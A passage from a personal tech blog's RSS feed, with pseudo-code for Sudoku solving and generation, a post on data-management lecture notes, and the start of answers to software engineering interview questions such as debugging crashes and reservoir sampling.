&lt;/p&gt;

&lt;h2&gt;3. Algorithms&lt;/h2&gt;

&lt;p&gt;
Sudoku solving and generation form an interesting set of problems in the field of 
algorithmic. I am presenting here the big picture of the algorithms as they
are implemented in my Sudoku program as pseudo-code.
&lt;/p&gt;
&lt;p&gt;
3 different algorithms are implemented for now :
&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;#31&quot;&gt;3.1 Human-like methods solver&lt;/a&gt; : more a tutorial that attempts to mimic the human approach when solving a sudoku&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#32&quot;&gt;3.3 Backtracking solver&lt;/a&gt; : a purely algorithmical approach using simple backtracking (nothing smart here)&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#32&quot;&gt;3.3 Board generator&lt;/a&gt; : the algorithm used to generate a feasible board, &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;
The board generation algorithm is where I have most issues for now. I am able to generate hard to very hard boards ... but it takes SOOOOO much time (up to several minutes for hardest grids). 
&lt;br&gt;
My algorithm is pretty naive for now and I assume there are some more robust approaches to generate Sudoku grids ... Any suggestion would be welcome :-)
&lt;/p&gt;

&lt;a id=&quot;31&quot;&gt;&lt;/a&gt;
&lt;h3&gt;3.1 Human-like methods solver&lt;/h3&gt;

&lt;p&gt;
The Human-like methods solver implements a subset of the usual Sudoku solving techniques 
that are usable by a human being.
&lt;/p&gt;
&lt;p&gt;
The pseudo-code is as follows:
&lt;/p&gt;

&lt;pre&gt;
&lt;b&gt;procedure&lt;/b&gt; solveSinglePossibilities
    &lt;b&gt;for each&lt;/b&gt; cell &lt;b&gt;of the&lt;/b&gt; board &lt;b&gt;do&lt;/b&gt;
        &lt;b&gt;if&lt;/b&gt; cell has no value set &lt;b&gt;then&lt;/b&gt;
            &lt;b&gt;for each&lt;/b&gt; possible value (1..9) &lt;b&gt;do&lt;/b&gt;
                &lt;b&gt;if&lt;/b&gt; value is single possibility according to row, column or square &lt;b&gt;then&lt;/b&gt;
                    set value on cell
                &lt;b&gt;end if&lt;/b&gt;
                check whether any other value is possible 
                        by checking each with row, column and square
                &lt;b&gt;if&lt;/b&gt; no other value is possible &lt;b&gt;then&lt;/b&gt;
                    set value on cell
                &lt;b&gt;end if&lt;/b&gt;
            &lt;b&gt;end for&lt;/b&gt;
        &lt;b&gt;end if&lt;/b&gt;
    &lt;b&gt;end for&lt;/b&gt;
&lt;b&gt;end procedure&lt;/b&gt;  

&lt;b&gt;procedure&lt;/b&gt; solvePossiblities
    &lt;b&gt;for each&lt;/b&gt; row, column and square &lt;b&gt;of the&lt;/b&gt; board &lt;b&gt;do&lt;/b&gt;
        &lt;b&gt;for each&lt;/b&gt; cell &lt;b&gt;of the&lt;/b&gt; row, column or square &lt;b&gt;do&lt;/b&gt;
            &lt;b&gt;if&lt;/b&gt; there are n other cells that have the same n possibilities (or fewer) &lt;b&gt;then&lt;/b&gt;
                discard these possibilities from all other cells
            &lt;b&gt;end if&lt;/b&gt;
        &lt;b&gt;end for&lt;/b&gt;
    &lt;b&gt;end for&lt;/b&gt;
&lt;b&gt;end procedure&lt;/b&gt;  

&lt;b&gt;procedure&lt;/b&gt; solveSquarePossiblities
    &lt;b&gt;for each&lt;/b&gt; row, column and square &lt;b&gt;of the&lt;/b&gt; board &lt;b&gt;do&lt;/b&gt;
        &lt;b&gt;for each&lt;/b&gt; cell &lt;b&gt;of the&lt;/b&gt; row, column or square &lt;b&gt;do&lt;/b&gt;
            &lt;b&gt;if&lt;/b&gt; there are n other cells that have the same n possibilities (or fewer) &lt;b&gt;then&lt;/b&gt;
                &lt;b&gt;for each&lt;/b&gt; number &lt;b&gt;of these&lt;/b&gt; possibilities &lt;b&gt;do&lt;/b&gt;
                    &lt;b&gt;if&lt;/b&gt; all cells containing number are in same square
                        discard number from all other cells of square 
                    &lt;b&gt;end if&lt;/b&gt;
                &lt;b&gt;end for&lt;/b&gt;    
            &lt;b&gt;end if&lt;/b&gt;
        &lt;b&gt;end for&lt;/b&gt;
    &lt;b&gt;end for&lt;/b&gt;
&lt;b&gt;end procedure&lt;/b&gt; 

&lt;b&gt;procedure&lt;/b&gt; solvePossibleCells
    &lt;b&gt;for each&lt;/b&gt; cell &lt;b&gt;of the&lt;/b&gt; board &lt;b&gt;do&lt;/b&gt;
        reset all possibilities
    &lt;b&gt;end for&lt;/b&gt;
    
    &lt;b&gt;while&lt;/b&gt; changes are made on cells by the calls below &lt;b&gt;do&lt;/b&gt;
    
        &lt;span style=&quot;color: green;&quot;&gt;-- this sets the cells for which a single value&lt;/span&gt;
        &lt;span style=&quot;color: green;&quot;&gt;-- is the only possibility&lt;/span&gt;
        &lt;b&gt;call&lt;/b&gt; &lt;i&gt;solveSinglePossibilities&lt;/i&gt;                
                                                     
        &lt;span style=&quot;color: green;&quot;&gt;-- Compute cell possibilities&lt;/span&gt; 
        &lt;b&gt;for each&lt;/b&gt; cell &lt;b&gt;of the&lt;/b&gt; board &lt;b&gt;do&lt;/b&gt;
            &lt;b&gt;for each&lt;/b&gt; possible value (1..9) &lt;b&gt;do&lt;/b&gt;
                &lt;b&gt;if&lt;/b&gt; value is possible according to row, column or square &lt;b&gt;then&lt;/b&gt;
                    add value to cell possibilities
                &lt;b&gt;end if&lt;/b&gt;
            &lt;b&gt;end for&lt;/b&gt;    
        &lt;b&gt;end for&lt;/b&gt;           
        
        &lt;b&gt;while&lt;/b&gt; changes are made on cell possibilities by the calls below &lt;b&gt;do&lt;/b&gt;            
        
            &lt;span style=&quot;color: green;&quot;&gt;-- in each element (row, column, square) identify group&lt;/span&gt;   
            &lt;span style=&quot;color: green;&quot;&gt;-- of possibilities and discard them from the other cells&lt;/span&gt;
            &lt;b&gt;call&lt;/b&gt; &lt;i&gt;solvePossiblities&lt;/i&gt;                   
            
            &lt;span style=&quot;color: green;&quot;&gt;-- if all possibilities of a value in a row or in a column&lt;/span&gt;   
            &lt;span style=&quot;color: green;&quot;&gt;-- are in same square, value can be discarded from other&lt;/span&gt;
            &lt;span style=&quot;color: green;&quot;&gt;-- cells in square.&lt;/span&gt;
            &lt;b&gt;call&lt;/b&gt; &lt;i&gt;solveSquarePossiblities&lt;/i&gt;
        &lt;b&gt;end while&lt;/b&gt;
        
        &lt;b&gt;for each&lt;/b&gt; cell &lt;b&gt;of the&lt;/b&gt; board &lt;b&gt;do&lt;/b&gt;
            &lt;b&gt;if&lt;/b&gt; cell has only one possibility left &lt;b&gt;then&lt;/b&gt;
                set value as that single possibility
            &lt;b&gt;end if&lt;/b&gt;
        &lt;b&gt;end for&lt;/b&gt;           
        
    &lt;b&gt;end while&lt;/b&gt;    
&lt;b&gt;end procedure&lt;/b&gt;  

&lt;b&gt;procedure&lt;/b&gt; solveUsingGuess  
    &lt;b&gt;set&lt;/b&gt; = any one of the remaining cells with fewest possibilities
    &lt;b&gt;while&lt;/b&gt; such a cell is found &lt;b&gt;do&lt;/b&gt;
    
        &lt;span style=&quot;color: green;&quot;&gt;-- Make a guess for this cell&lt;/span&gt;   
        &lt;b&gt;set&lt;/b&gt; cell value = any one if its possibilities       
        
        &lt;span style=&quot;color: green;&quot;&gt;-- Try to solve using that guess&lt;/span&gt; 
        &lt;b&gt;call&lt;/b&gt; &lt;i&gt;solvePossibleCells&lt;/i&gt;                        

        &lt;span style=&quot;color: green;&quot;&gt;-- If the call above made sure the board cannot be&lt;/span&gt;           
        &lt;span style=&quot;color: green;&quot;&gt;-- solved using that guess&lt;/span&gt;   
        &lt;b&gt;if&lt;/b&gt; board is unsolvable &lt;b&gt;then&lt;/b&gt;                    
            reset cell value                        
        &lt;b&gt;else if&lt;/b&gt; board is solved &lt;b&gt;then&lt;/b&gt; 
            &lt;span style=&quot;color: green;&quot;&gt;-- Fix guess&lt;/span&gt;   
            fix cell value &lt;span style=&quot;color: green;&quot;&gt;-- set cell value definitely&lt;/span&gt;
        &lt;b&gt;else&lt;/b&gt;
            &lt;b&gt;call&lt;/b&gt; &lt;i&gt;solveUsingGuess&lt;/i&gt; recursively
        &lt;b&gt;end if&lt;/b&gt;
    &lt;b&gt;end while&lt;/b&gt;
&lt;b&gt;end procedure&lt;/b&gt;  

&lt;b&gt;procedure&lt;/b&gt; solve
    &lt;span style=&quot;color: green;&quot;&gt;-- solve using human-like techniques&lt;/span&gt;
    &lt;b&gt;call&lt;/b&gt; &lt;i&gt;solvePossibleCells&lt;/i&gt;   
    &lt;span style=&quot;color: green;&quot;&gt;-- if grid is not completed, make guesses (nishio)&lt;/span&gt;
    &lt;b&gt;call&lt;/b&gt; &lt;i&gt;solveUsingGuess&lt;/i&gt;                 
    &lt;span style=&quot;color: green;&quot;&gt;-- with these guesses, solve the remaining cells&lt;/span&gt;
    &lt;b&gt;call&lt;/b&gt; &lt;i&gt;solvePossibleCells&lt;/i&gt;              
&lt;b&gt;end procedure&lt;/b&gt;    
&lt;/pre&gt;

&lt;a id=&quot;32&quot;&gt;&lt;/a&gt;
&lt;h3&gt;3.2 Backtracking solver&lt;/h3&gt;

&lt;p&gt;
Unlike the previous one, which finds &lt;i&gt;one&lt;/i&gt; solution, the backtracking solver find 
all solutions of the Sudoku board. &lt;br&gt;
It is an essential piece of the board generation algorithm since it is used to ensure
the generated board has &lt;b&gt;one and only one&lt;/b&gt; solution.
&lt;/p&gt;
&lt;p&gt;
The backtracking solver uses the method &lt;code&gt;&lt;i&gt;solvePossibleCells&lt;/i&gt;&lt;/code&gt; from the 
previous algorithm to speed up the resolution of each branch of solutions.
&lt;/p&gt;
&lt;p&gt;
The pseudo-code is as follows:
&lt;/p&gt;

&lt;pre&gt;
&lt;b&gt;procedure&lt;/b&gt; findSolutionsInternal
    &lt;b&gt;if&lt;/b&gt; current board is solved &lt;b&gt;then&lt;/b&gt;
        add a copy of current board to solutions
    &lt;b&gt;end if&lt;/b&gt;
    
    &lt;b&gt;set&lt;/b&gt; cell = any remaining cell without a value
    
    &lt;b&gt;for each&lt;/b&gt; possibility for that cell &lt;b&gt;do&lt;/b&gt;
        &lt;b&gt;set&lt;/b&gt; cell value = that possibility 
        &lt;b&gt;call&lt;/b&gt; &lt;i&gt;findSolutionsInternal&lt;/i&gt; recursively
        reset cell value
    &lt;b&gt;end for&lt;/b&gt;
&lt;b&gt;end procedure&lt;/b&gt;  

&lt;b&gt;procedure&lt;/b&gt; findSolutions
    &lt;b&gt;set&lt;/b&gt; solutions = instantiate set of solution to be returned
    
    &lt;span style=&quot;color: green;&quot;&gt;-- set cell values that can be set with human-like approach&lt;/span&gt;
    &lt;b&gt;call&lt;/b&gt; &lt;i&gt;solvePossibleCells&lt;/i&gt;                                        
    
    &lt;span style=&quot;color: green;&quot;&gt;-- solve remaining cells with backtracking&lt;/span&gt;
    &lt;b&gt;call&lt;/b&gt; &lt;i&gt;findSolutionsInternal&lt;/i&gt; with solutions and current board    
    &lt;b&gt;return&lt;/b&gt; solutions
&lt;b&gt;end procedure&lt;/b&gt;  
&lt;/pre&gt;
&lt;br&gt;

&lt;a id=&quot;33&quot;&gt;&lt;/a&gt;
&lt;h3&gt;3.3 Board generator&lt;/h3&gt;

&lt;p&gt;
The board generation algorithm is the trickiest part. I tried several things (most methods supporting 
them  are still  available in the codebase) ... and got rid of most of them. &lt;br&gt;
The thing is that either I generate only easy boards with down to 22 pre-filled cells in a few 
milliseconds, or I try to generate difficult boards having only between 18 to 22 pre-filled cells. 
(I have never successfully generated a board with only 17 pre-filled values even though such boards exist).
&lt;/p&gt;
&lt;p&gt;
In the later case, the duration of the algorithm runs from a few seconds up to several minutes 
with the following results, in average out of 10 runs:
&lt;/p&gt;

&lt;ul&gt;
    &lt;li&gt;Only 1 really difficult board requiring very advanced resolution techniques or even nishio.&lt;/li&gt;
    &lt;li&gt;Between 1 and 2 medium to tricky grids requiring a thorough work on possibilities to solve them.&lt;/li&gt;
    &lt;li&gt;Between 7 and 8 easy to medium grids requiring only a careful analysis of possibilities for each cell.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;
I haven&apos;t found a way yet to come up with a smarter approach enabling the software to generate 
more difficult boards and, more importantly, in a quicker time. 
&lt;/p&gt;
&lt;p&gt;
Anyway, this is what I have implemented currently, in pseudo-code:
&lt;/p&gt;


&lt;pre&gt;
&lt;b&gt;procedure&lt;/b&gt; newRandomGrid
    &lt;b&gt;set&lt;/b&gt; grid = DEFAULT_GRID &lt;span style=&quot;color: green;&quot;&gt;-- always starting with the same&lt;/span&gt;
    
    perform random permutations between rows in same square groups
    perform random permutations between columns in same square groups
    
    perform random permutations between groups of rows matching squares
    perform random permutations between groups of columns matching squares
    
    &lt;span style=&quot;color: green;&quot;&gt;-- Map every value to a new random value and swap these values&lt;/span&gt;
    &lt;span style=&quot;color: green;&quot;&gt;-- for every cell&lt;/span&gt;
    remap values
    
    &lt;b&gt;return&lt;/b&gt; grid    
&lt;b&gt;end procedure&lt;/b&gt;

&lt;b&gt;procedure&lt;/b&gt; performPossibleRemoves
    &lt;b&gt;for each&lt;/b&gt; cell &lt;b&gt;of the&lt;/b&gt; grid board having a value &lt;b&gt;do&lt;/b&gt;
        &lt;b&gt;set&lt;/b&gt; savedValue = value in that cell
        reset cell value
        &lt;b&gt;if&lt;/b&gt; grid board &lt;b&gt;is not&lt;/b&gt; solvable &lt;b&gt;then&lt;/b&gt;&lt;span style=&quot;color: green;&quot;&gt;-- Using backtracking solver&lt;/span&gt;
            &lt;b&gt;set&lt;/b&gt; cell value = savedValue
        &lt;b&gt;end if&lt;/b&gt;
    &lt;b&gt;end for&lt;/b&gt;
    &lt;b&gt;return&lt;/b&gt; number of additional cells than could be removed
&lt;b&gt;end procedure&lt;/b&gt;

&lt;b&gt;procedure&lt;/b&gt; removeValues
    &lt;b&gt;set&lt;/b&gt; grid = copy of original given as argument
    
    &lt;b&gt;for each&lt;/b&gt; cell &lt;b&gt;of the&lt;/b&gt; grid board &lt;b&gt;do&lt;/b&gt;
        reset all values
    &lt;b&gt;end for&lt;/b&gt;
    
    &lt;span style=&quot;color: green;&quot;&gt;-- Add a value back for each number&lt;/span&gt;
    &lt;b&gt;for each&lt;/b&gt; possible value (1..9) &lt;b&gt;then&lt;/b&gt;
        pick up randomly one cell of original board containing value
        assign value to corresponding cell in grid board
    &lt;b&gt;end for&lt;/b&gt;
    
    &lt;span style=&quot;color: green;&quot;&gt;-- Add more values until board is solvable&lt;/span&gt;
    &lt;b&gt;while&lt;/b&gt; grid board &lt;b&gt;is not&lt;/b&gt; solvable &lt;b&gt;do&lt;/b&gt; &lt;span style=&quot;color: green;&quot;&gt;-- Using backtracking solver&lt;/span&gt;
    
        &lt;span style=&quot;color: green;&quot;&gt;-- This is key in the process. We add values back to the empty grid by choosing&lt;/span&gt;
        &lt;span style=&quot;color: green;&quot;&gt;-- first the cells of grid board with highest number of possibilities&lt;/span&gt;
        &lt;b&gt;set&lt;/b&gt; cell = pick up randomly one of most undefined cells
        assign value from corresponding cell in original board
    &lt;b&gt;end while&lt;/b&gt;
    
    &lt;span style=&quot;color: green;&quot;&gt;-- See if there is any more values than can be removed&lt;/span&gt;
    &lt;b&gt;call&lt;/b&gt; &lt;i&gt;performPossibleRemoves&lt;/i&gt;
    
&lt;b&gt;end procedure&lt;/b&gt;

&lt;span style=&quot;color: green;&quot;&gt;-- This is the one that takes a huge amount of time&lt;/span&gt;
&lt;b&gt;procedure&lt;/b&gt; tryReaddingValues
    &lt;b&gt;set&lt;/b&gt; betterFound = &lt;b&gt;true&lt;/b&gt;
    &lt;b&gt;while&lt;/b&gt; betterFound &lt;b&gt;do&lt;/b&gt;
        &lt;b&gt;set&lt;/b&gt; betterFound = &lt;b&gt;false&lt;/b&gt;
        &lt;b&gt;for each&lt;/b&gt; cell &lt;b&gt;of the&lt;/b&gt; grid board without a value &lt;b&gt;do&lt;/b&gt;
            &lt;b&gt;set&lt;/b&gt; cell value = back to former value &lt;span style=&quot;color: green;&quot;&gt;-- former value is cell from original grid&lt;/span&gt;
            
            &lt;b&gt;call&lt;/b&gt; &lt;i&gt;performPossibleRemoves&lt;/i&gt;
            
            &lt;b&gt;if&lt;/b&gt; more than two values could be removed &lt;b&gt;then&lt;/b&gt;
                &lt;b&gt;set&lt;/b&gt; betterFound = &lt;b&gt;true&lt;/b&gt;
                &lt;b&gt;break&lt;/b&gt;
            &lt;b&gt;else&lt;/b&gt;
                reset cell value
            &lt;b&gt;end if&lt;/b&gt;
            
        &lt;b&gt;end for&lt;/b&gt;        
    &lt;b&gt;end while&lt;/b&gt;
&lt;b&gt;end procedure&lt;/b&gt;

&lt;b&gt;procedure&lt;/b&gt; generateGrid
    &lt;span style=&quot;color: green;&quot;&gt;-- Create new random solved grid&lt;/span&gt;
    &lt;b&gt;set&lt;/b&gt; original = &lt;b&gt;call&lt;/b&gt; &lt;i&gt;newRandomGrid&lt;/i&gt;   
    
    &lt;span style=&quot;color: green;&quot;&gt;-- Remove cell values as long as board remains solvable&lt;/span&gt;
    &lt;b&gt;set&lt;/b&gt; grid = &lt;b&gt;call&lt;/b&gt; &lt;i&gt;removeValues&lt;/i&gt; with original
    
    &lt;span style=&quot;color: green;&quot;&gt;-- see if adding back a value enables to remove more&lt;/span&gt;
    &lt;span style=&quot;color: green;&quot;&gt;-- Note: this is the very slow step. One can simply get rid of it&lt;/span&gt;
    &lt;span style=&quot;color: green;&quot;&gt;-- to get a quick but less efficient (i.e. easier boards) generator &lt;/span&gt;
    &lt;b&gt;call&lt;/b&gt; &lt;i&gt;tryReaddingValues&lt;/i&gt; with grid
    
    &lt;b&gt;return&lt;/b&gt; grid
&lt;b&gt;end procedure&lt;/b&gt;
&lt;/pre&gt;

&lt;p&gt;
Regarding this algorithm, I&apos;m slowly getting out of ideas for new techniques to experiment that would enable 
the software to generate a difficult grid in far less time. &lt;br&gt;
Again, Any idea / suggestion would be really welcome :-)
&lt;/p&gt;</description>          </item>
    <item>
    <guid isPermaLink="true">https://www.niceideas.ch/roller2/badtrash/entry/data-management</guid>
    <title>Data Management</title>
    <dc:creator>Jerome Kehrli</dc:creator>
    <link>https://www.niceideas.ch/roller2/badtrash/entry/data-management</link>
        <pubDate>Thu, 7 Aug 2014 10:22:11 -0400</pubDate>
    <category>Computer Science</category>
    <category>data-management</category>
    <category>data-mining</category>
    <category>information-retrieval</category>
            <description>&lt;p&gt;
Data management comprises all the disciplines related to managing data as a valuable resource. 
&lt;br&gt;
Data Management is the development and execution of architectures, policies, practices and procedures that properly manage the full data lifecycle needs of an enterprise.
&lt;/p&gt;
&lt;p&gt;
During my MS studies, I followed two interesting lectures related to Data Management.
&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Introduction to Data Mining (&lt;a href=&quot;http://niceideas.ch/resume1.pdf&quot;&gt;Summary&lt;/a&gt;)&lt;/li&gt;
&lt;li&gt;Introduction to Information Retrieval (&lt;a href=&quot;http://niceideas.ch/resume2.pdf&quot;&gt;Summary&lt;/a&gt;)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;
Data Mining is the computational process of discovering patterns in large data sets involving methods at the intersection of artificial intelligence, machine learning, statistics, and database systems. In the context of Data Mining, Data Warehouses (DW) form an important aspect. Data Warehouses generalize and consolidate data in multidimensional space. The construction of DW is an important pre-processing step for data mining involving data cleaning, data integration, data transformation. 
&lt;br&gt;
I have summarized all the notes I have taken during the &lt;i&gt;Introduction to Data Mining&lt;/i&gt; lecture as well as some of my solutions to the exercises within the following document : &lt;a href=&quot;http://niceideas.ch/resume1.pdf&quot;&gt;Summary of the Data Mining Lecture&lt;/a&gt;.
&lt;/p&gt;
&lt;p&gt;
Information retrieval (IR) is finding material (usually documents) of an unstructured nature (usually text) that satisfies an information need from within a large collections (usually stored on computers). Information Retrieval is a field concerned with the structure, analysis, organisation, storage, searching and retrieval of information. 
&lt;br&gt;
Here as well I have summarized the notes taken during the lecture within the following document : &lt;a href=&quot;http://niceideas.ch/resume2.pdf&quot;&gt;Summary of the Information Retrieval Lecture&lt;/a&gt;.

&lt;/p&gt;</description>          </item>
    <item>
    <guid isPermaLink="true">https://www.niceideas.ch/roller2/badtrash/entry/hard-software-engineering-interview-questions</guid>
    <title>100 hard software engineering interview questions</title>
    <dc:creator>Jerome Kehrli</dc:creator>
    <link>https://www.niceideas.ch/roller2/badtrash/entry/hard-software-engineering-interview-questions</link>
        <pubDate>Fri, 6 Dec 2013 10:11:41 -0500</pubDate>
    <category>Computer Science</category>
    <category>hard-questions</category>
    <category>interview-questions</category>
    <category>software-engineering</category>
    <category>software-engineering-interview-questions</category>
    <atom:summary type="html">&lt;p&gt;
For some reasons that I&apos;d rather keep private, I got interested in the kind of questions google, microsoft, amazon and other tech companies are asking to candidate during the recruitment process. Most of these questions are oriented towards algorithmics or mathematics. Some other are logic questions or puzzles the candidate is expected to be able to solve in a dozen of minutes in front of the interviewer.
&lt;/p&gt;
&lt;p&gt;
If found various sites online providing lists of typical interview questions. Other sites are discussing topics like &quot;the ten toughest questions asked by google&quot; or by microsoft, etc. &lt;br&gt;
Then I wondered how many of them I could answer on my own without help. The truth is that while I can answer most of these questions by myself, I still needed help for almost as much as half of them.
&lt;/p&gt;
&lt;p&gt;
Anyway, I have collected my answers to a hundred of these questions below. &lt;br&gt;
For the questions for which I needed some help to build an answer, I clearly indicate the source where I found it.
&lt;/p&gt;</atom:summary>        <description>&lt;!--

DONE http://www.businessinsider.com/15-mind-bending-interview-questions-that-every-google-engineer-can-answer-2012-1?op=1
DONE + Reste 9

DONE http://www.businessinsider.com/15-google-interview-questions-that-will-make-you-feel-stupid-2009-11?op=1

DONE http://placement.freshersworld.com/placement-papers/Google/Placement-Paper-General--Interview-18634

EN COURS http://www.impactinterview.com/2009/10/140-google-interview-questions/
+ see
  http://www.impactinterview.com/2009/10/140-google-interview-questions/#comment-89
-&gt; Revenir sur celles que j&apos;ai laissées d ecôté

DONE http://kundansingh.com/interview/
-&gt; J&apos;en suis à 90

DONE http://www.mathnews.uwaterloo.ca/Issues/mn10704/googlequestions.php

DONE http://www.freshersinterviewquestions.com/category/google-interview-questions/

DONE http://commoninterview.com/Programming_Interview_Questions/

http://www.podval.org/~sds/puzzles.html

+ Later 
http://www.mytechinterviews.com/10-google-interview-questions
http://www.algorithmsforinterviews.com/programminginterviewquestions
http://leetcode.com/  (+ previous entries)

+ more on 
http://www.shokhirev.com/nikolai/projects/links/interview.html

--&gt;

&lt;p&gt;
For some reasons that I&apos;d rather keep private, I got interested in the kind of questions google, microsoft, amazon and other tech companies are asking to candidate during the recruitment process. Most of these questions are oriented towards algorithmics or mathematics. Some other are logic questions or puzzles the candidate is expected to be able to solve in a dozen of minutes in front of the interviewer.
&lt;/p&gt;
&lt;p&gt;
If found various sites online providing lists of typical interview questions. Other sites are discussing topics like &quot;the ten toughest questions asked by google&quot; or by microsoft, etc. &lt;br&gt;
Then I wondered how many of them I could answer on my own without help. The truth is that while I can answer most of these questions by myself, I still needed help for almost as much as half of them.
&lt;/p&gt;
&lt;p&gt;
Anyway, I have collected my answers to a hundred of these questions below. &lt;br&gt;
For the questions for which I needed some help to build an answer, I clearly indicate the source where I found it.
&lt;/p&gt;



&lt;script type=&quot;text/javascript&quot;&gt;
showHideDivBT = function(divId) {
     var div = document.getElementById(divId);
     if (document.getElementById(divId).style.display == &apos;none&apos;) {
          div.style.visibility = &apos;visible&apos;;
          div.style.display = &apos;block&apos;;
     } else {
          div.style.visibility = &apos;hidden&apos;;
          div.style.display = &apos;none&apos;;
     }
};
&lt;/script&gt;


&lt;p&gt;
&lt;a href=&quot;javascript:;&quot; onclick=&quot;javascript:showHideDivBT(&apos;bt1&apos;);&quot; style=&quot;text-decoration: none; outline: none;&quot;&gt; 
&lt;b&gt;1.&lt;/b&gt; You are given a the source to a application which is crashing when run. After running it 10 times in a debugger, you find it never crashes in the same place. The application is single threaded, and uses only the C standard library. What programming errors could be causing this crash? How would you test each one?
&lt;/a&gt;
&lt;/p&gt;

&lt;div id=&apos;bt1&apos; style=&quot;border: solid 1px #666666; visibility: hidden; display: none; outline: none; padding: 4px;&quot;&gt;
&lt;p&gt;
Very likely an inifinite loop: only crashes when the call stack overflows, and that could happen anywhere, depending on how much memory is available for the call stack.
&lt;/p&gt;
&lt;p&gt;
Your code could be invoking anything with undefined behaviour in the C standard, including (but not limited to):
&lt;/p&gt;

&lt;ul&gt;
     &lt;li&gt; Not initialising a variable but attempting to use its value.&lt;/li&gt;
     &lt;li&gt; Dereferencing a null pointer.&lt;/li&gt;
     &lt;li&gt; Reading or writing past the end of an array.&lt;/li&gt;
     &lt;li&gt; Defining a preprocessor macro that starts with an underscore and either a capital letter or another underscore.&lt;/li&gt;
     &lt;li&gt; disk full, i.e. other processes may delete a different file causing more space to be available&lt;/li&gt;
     &lt;li&gt; code depends on timer&lt;/li&gt;
     &lt;li&gt; memory issue, i.e. other processes allocate and/or free memory&lt;/li&gt;
     &lt;li&gt; a pointer points to a random location in memory that is changed by another process causing some values be &quot;valid&quot; (very rare though) 
     = &lt;span style=&quot;color: green;&quot;&gt;= Dangling pointer&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;
A dangling pointer is a pointer to storage that is no longer allocated. Dangling pointers are nasty bugs because they seldom crash the program until long after they have been 
created, which makes them hard to find. Programs that create dangling pointers often appear to work on small inputs, but are likely to fail on large or complex inputs.
&lt;/p&gt;
&lt;p&gt;
Ways to test include debugger, static code analysis tools, dynamic code analysis tools, manual source code review, etc.
&lt;/p&gt;
&lt;/div&gt;


&lt;p&gt;
&lt;a href=&quot;javascript:;&quot; onclick=&quot;javascript:showHideDivBT(&apos;bt2&apos;);&quot; style=&quot;text-decoration: none; outline: none;&quot;&gt; 
&lt;b&gt;2.&lt;/b&gt; You have a stream of infinite queries (ie: real time Google search queries that people are entering). Describe how you would go about finding a good estimate of 1000 
samples from this never ending set of data and then write code for it.
&lt;/a&gt;
&lt;/p&gt;

&lt;div id=&apos;bt2&apos; style=&quot;border: solid 1px #666666; visibility: hidden; display: none; outline: none; padding: 4px;&quot;&gt;
&lt;a id=&quot;reservoir_sampling&quot;&gt;&lt;/a&gt;
&lt;p&gt;
&lt;b&gt;Reservoir sampling&lt;/b&gt; is a family of randomized algorithms for randomly choosing k samples from a list S containing n items, where n is either a very large or unknown number. 
Typically n is large enough that the list doesn&apos;t fit into main memory.
&lt;/p&gt;
&lt;p&gt;
This simple O(n) algorithm as described in the Dictionary of Algorithms and Data Structures consists of the following steps (assuming that the arrays are one-based, and that the 
number of items to select, k, is smaller than the size of the source array, S):
&lt;/p&gt;

&lt;pre&gt;
&lt;b&gt;array&lt;/b&gt; R[k];     // result
&lt;b&gt;integer&lt;/b&gt; i, j;

// fill the reservoir array
&lt;b&gt;for each&lt;/b&gt; i &lt;b&gt;in&lt;/b&gt; 1 &lt;b&gt;to&lt;/b&gt; k &lt;b&gt;do&lt;/b&gt;
     R[i] := S[i]
&lt;b&gt;done&lt;/b&gt;;

// replace elements with gradually decreasing probability
&lt;b&gt;for each&lt;/b&gt; i &lt;b&gt;in&lt;/b&gt; k+1 &lt;b&gt;to&lt;/b&gt; &lt;b&gt;length&lt;/b&gt;(S) &lt;b&gt;do&lt;/b&gt;
     j := &lt;b&gt;random&lt;/b&gt;(1, i);    // important: inclusive range
     &lt;b&gt;if&lt;/b&gt; j &amp;lt;= k &lt;b&gt;then&lt;/b&gt;
          R[j] := S[i]
     &lt;b&gt;fi&lt;/b&gt;
&lt;b&gt;done&lt;/b&gt;
&lt;/pre&gt;

&lt;p&gt;
Reservoir sampling is and often disguised problem in Google interviews:
&lt;/p&gt;
&lt;p&gt;
There is a linked list of numbers of length N. N is very large and you don&apos;t know N. You have to write a function that will return k random numbers from the list. Numbers should be completely random. Hint: 1. Use random function rand() (returns a number between 0 and 1) and irand() (return either 0 or 1) 2. It should be done in O(n).
&lt;/p&gt;
&lt;p&gt;
And here&apos;s some C/C++ code:
&lt;/p&gt;

&lt;pre&gt;
&lt;b&gt;typedef struct&lt;/b&gt; list {&lt;b&gt;int&lt;/b&gt; val; list* next;} list;

&lt;b&gt;void&lt;/b&gt; select(list* l, int* v, int n) {
  &lt;b&gt;int&lt;/b&gt; k = 0;
  &lt;b&gt;while&lt;/b&gt; (l != NULL) {
     &lt;b&gt;if&lt;/b&gt; (k &amp;lt; n) {
        v[k] = l-&gt;val;
     } &lt;b&gt;else&lt;/b&gt; {
        &lt;b&gt;int&lt;/b&gt; c = rand() * (k + 1);
        &lt;b&gt;if&lt;/b&gt; (c &amp;lt; n) v[c] = l-&gt;val;
     }
     l = l-&gt;next;
     k++;
  }
}
&lt;/pre&gt;

&lt;p&gt;
&lt;b&gt;&lt;span style=&quot;color: green;&quot;&gt;In the case of both questions above, since N is not known, we need to use a streaming principle instead of a loop.&lt;/span&gt;&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;
Hence the following pseudo-code:
&lt;/p&gt;

&lt;pre&gt;
// constant k is given
&lt;b&gt;integer&lt;/b&gt; k = ...;

&lt;b&gt;array&lt;/b&gt; R[k];     // result
&lt;b&gt;integer&lt;/b&gt; i = 0;
&lt;b&gt;integer&lt;/b&gt; N = 0;

&lt;b&gt;procedure&lt;/b&gt; processNewListElement (element)
    N := N + 1 // N is unknown in advance, counting it myself
    i := i + 1
    
    &lt;b&gt;if&lt;/b&gt; i &amp;lt;= k &lt;b&gt;then&lt;/b&gt;
        R[i] := element // initialization
    &lt;b&gt;else&lt;/b&gt;
        j := &lt;b&gt;random&lt;/b&gt;(1, i);    // important: inclusive range
        &lt;b&gt;if&lt;/b&gt; j &amp;lt;= k &lt;b&gt;then&lt;/b&gt;
            R[j] := element
        &lt;b&gt;fi&lt;/b&gt;
    &lt;b&gt;fi&lt;/b&gt;
